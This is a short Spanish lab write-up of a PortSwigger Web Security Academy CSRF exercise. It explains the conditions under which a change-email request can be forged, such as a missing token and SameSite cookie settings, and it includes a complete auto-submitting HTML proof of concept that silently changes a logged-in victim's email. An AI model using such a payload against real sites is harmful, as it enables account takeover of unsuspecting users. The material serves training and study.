Saltar a contenido

CSRF PoC – Change Email

Objetivo

Forzar a un usuario autenticado a enviar una solicitud POST a /my-account/change-email para cambiar su correo, sin su interacción explícita.

Endpoint vulnerable

  • Método: POST
  • Ruta: /my-account/change-email
  • Host: 0ad0004604857369813b3949005d00b3.web-security-academy.net
  • Parámetro: email

Requisitos para que funcione

  • La víctima debe estar logueada en el sitio objetivo en el mismo navegador.
  • La aplicación no debe validar un token CSRF efectivo (o debe ser inexistente/invalidable).
  • Si el navegador envía cookies cross-site, depende del atributo SameSite de la cookie de sesión:
  • SameSite=None (con Secure) suele permitirlo.
  • Lax/Strict normalmente lo bloquea para POST cross-site.

Prueba de concepto (HTML)

Guardar como csrf-change-email.html y servirlo desde cualquier origen (o desde el exploit server del lab). Utilicé el PoC generado por Burp Suite Professional, que incluye un formulario oculto que se autoenvía al cargar la página. Hay que poner que auto envíe el formulario para que el ataque se ejecute sin interacción del usuario.

<html>

  <!-- CSRF PoC - generated by Burp Suite Professional -->

  <body>

    <form action="https://0ad0004604857369813b3949005d00b3.web-security-academy.net/my-account/change-email" method="POST">

      <input type="hidden" name="email" value="gaspar&#46;onesto&#64;gmail&#46;com" />

      <input type="submit" value="Submit request" />

    </form>

    <script>

      history.pushState('', '', '/');

      document.forms[0].submit();

    </script>

  </body>

</html>


</html>